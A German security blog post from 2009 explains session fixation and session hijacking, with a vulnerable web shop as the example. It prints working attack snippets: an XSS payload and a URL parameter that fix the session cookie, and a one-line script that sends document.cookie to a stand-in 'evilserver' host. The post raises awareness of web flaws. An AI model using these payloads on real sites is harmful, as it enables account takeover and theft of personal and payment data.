Daily Archives: 29. September 2009

Session Fixation und Session Hijacking

Mal wieder etwas zu den Möglichkeiten, wie Sicherheitslücken ausgenutzt werden können.

Viele Websites benutzen Session-Cookies um einen Besucher zu identifizieren, damit z.B. die in den Warenkorb gelegten Artikel dem Shop-Kunden zugeordnet werden können oder sie werden genutzt um einen registrierten Besucher erkennen zu können.

Den Inhalt eines Session-Cookies (der Teil hinter sID=) zu erraten ist kaum möglich:
Session Fixation 1

Wenn es aber möglich ist, in dem Shop den Inhalt des Cookies vorzugeben?! Ja, dann muss man nicht raten. Per Session Fixation (de.wikipedia.org) kann man den Wert, der im Cookie gespeichert ist, vorgeben.

In dem von mir untersuchten Shop gibt es zwei Möglichkeiten den Session-Cookie zu schreiben.

Zum einen gibt es mal wieder eine Lücke zu Cross-Site Scripting:
http://dau-shop/contact_us
?action=send
&enquiry=</textarea><script>
document.cookie="sID=Cookie_by_Hacker";
</script>

Aber da das Shopsystem sehr schlecht programmiert wurde, gibt es noch eine viel einfachere Möglichkeit:
http://dau-shop/?sID=Cookie_by_Hacker
Hierbei kann man den Cookieinhalt auch per POST senden, damit das Opfer nur die URL http://dau-shop/ in der Adresszeile des Browsers sieht und somit keinen Verdacht schöpfen wird.

Bei der Prüfung eines Session-Cookies machen die Entwickler immer wieder viele Fehler. Es wird z.B. nur nach der Länge des Cookies, oftmals 32 Zeichen, geprüft, aber nicht, ob er überhaupt gültig ist. Oder es wird zwar die Gültigkeit überprüft, aber nicht ob der Cookie am Server einem Besucher zugeordnet ist. In so einem Fall lässt sich der Angreifer einen echten Cookie erzeugen und gibt diesen seinem Opfer mit auf den Weg.

Das von mir untersuchte Shopsystem ist so dumm, da darf der Session-Cookie wirklich einen beliebigen Inhalt haben:
Session Fixation 2


Wenn es nicht möglich sein sollte den Inhalt des Session-Cookies per Session Fixation zu manipulieren, so kann ein Angreifer den Inhalt u.U. per Cross-Site Scripting auslesen und an einen Server senden, der unter seiner Kontrolle steht. Ist dies möglich, so spricht man von Session Hijacking (de.wikipedia.org).

Mit diesem Stückchen Code kann ein Angreifer den Inhalt des Cookies mitlesen:
document.write('<img src="http://evilserver/?'+document.cookie+'" />');

Wenn der Cookieinhalt übermittelt wurde, muss der Angreifer schnell sein, da Cookies i.d.R. eine Ablaufzeit haben, d.h., nach x Minuten wird der Cookie ungültig. Wobei… :O) Es gibt natürlich auch Websites deren Cookieverwaltung so schlecht ist, das Cookies noch nach mehreren Stunden Inaktivität des Besuchers aktiv sind.

Jede Cross-Site Scripting-Lücke die JavaScript zulässt, kann zum Mitlesen von Cookies benutzt werden

Beide Angriffsarten haben die gleichen Folgen.


Wenn ein Angreifer erfolgreich seinem Opfer einen Cookie untergeschoben hat, bzw. den Cookie mitlesen konnte, so kann er sich in deren Warenkorb umsehen. Sobald der Besucher sich in seinen bestehenden Shop-Account einloggt oder sich neu registriert hat, so kann der Angreifer auch dort mitlesen und die persönlichen Daten für seine Zwecke missbrauchen.

In manchen Systemen wird das Passwort im Quelltext der Benutzerseiten angezeigt:
Passwort im Klartext
(Aus einem Social Network.)

Wir vermuten es ja schon…
<input type="password" name="pass" value="mein-passwort" />

Der Angreifer der sich also hier in den fremden Account eingeloggt hat, der kann auch gleich das Passwort notieren, was weitere Angriffe auf das Opfer sehr viel einfacher macht. Und da nach wie vor, sehr viele User immer gleiche Passworte benutzen…


Schon vermeintlich kleine Bugs, wie die fehlerhafte Behandlung von Cookies, kann am Ende dazu führen, dass ein Angreifer den Account seines Opfers übernimmt.

In einem Shop wird das primäre Ziel des Angreifers die persönlichen Daten, wie auch Bankverbindung und Kreditkartendaten, sein. In einem Social Network wird er versuchen, die Reputation seines Opfers dazu zu nutzen, um deren Freunde Fake-Virenscannern unterzuschieben oder sie auf Websites zu locken, auf denen sie anderer Malware vorfinden.


Für fast jede Lücke haben kriminelle Hacker entsprechende Angriffsarten parat und keine Lücke ist zu unbedeutend, um sie nicht irgendwie zu Geld zu machen und sei es nur ein eingebautes Iframe mit Malware oder einer entsprechenden Weiterleitung, zu einer Website die andere Boshaftigkeiten auf Lager hat.

Infektionen von Apple-Rechnern für Kriminelle unprofitabel” (heise.de)

(…) auf denen für infizierte Mac-Systeme 43 US-Cent geboten wurden – Windows-Systeme seien zu diesem Zeitpunkt zwischen 50 und 55 Cent gehandelt worden.